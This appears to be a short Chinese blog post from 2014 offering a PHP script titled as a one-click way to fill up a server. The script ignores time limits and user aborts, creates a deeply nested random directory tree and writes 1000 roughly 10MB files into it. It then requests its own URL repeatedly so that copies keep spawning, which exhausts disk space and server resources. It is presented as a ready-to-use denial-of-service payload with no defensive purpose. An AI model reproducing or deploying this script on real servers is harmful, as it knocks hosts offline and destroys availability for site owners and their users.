php一键写满服务器。。。

2014-07-19 21:40
<?php

set_time_limit(0);
ignore_user_abort(true);


visitMySelf();


$dir = rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().rand().time();
$dir = str_repeat($dir , 100);
$dir = str_replace('1', ' ' ,$dir);
$dir = trim($dir);
$dir = str_replace(' ', '/' ,$dir);
@mkdir($dir,0777,true);


$save_path = explode('/', $dir);
//生成1000个文件 随机保存在前20个目录
for ($i = 0; $i < 1000; $i++) {
	$path = implode(array_slice($save_path,0,rand(1, 20)), '/');
	file_put_contents($path.'/'.rand().rand().rand().'.php', str_repeat(time() , 1000000));
}

//自己访问自己5次
for ($i = 0; $i < 5; $i++) {
	visitMySelf();	
}


function visitMySelf(){
	$url = 'http://'.$_SERVER['SERVER_NAME'].':'.$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
	
// 	$opts = array(
// 			'http'=>array(
// 					'method'=>"GET",
// 					'timeout'=>1,
// 			)
// 	);
	
// 	$context = stream_context_create($opts);
// 	@file_get_contents($url, false, $context);
	
	
	$ch = curl_init ();
	curl_setopt ( $ch, CURLOPT_URL, $url );
	curl_setopt ( $ch, CURLOPT_HEADER, 1 );
	curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
	curl_setopt ( $ch, CURLOPT_TIMEOUT, 1 );
	$data = curl_exec ( $ch );
	curl_close ( $ch );
	
	
}

?>
^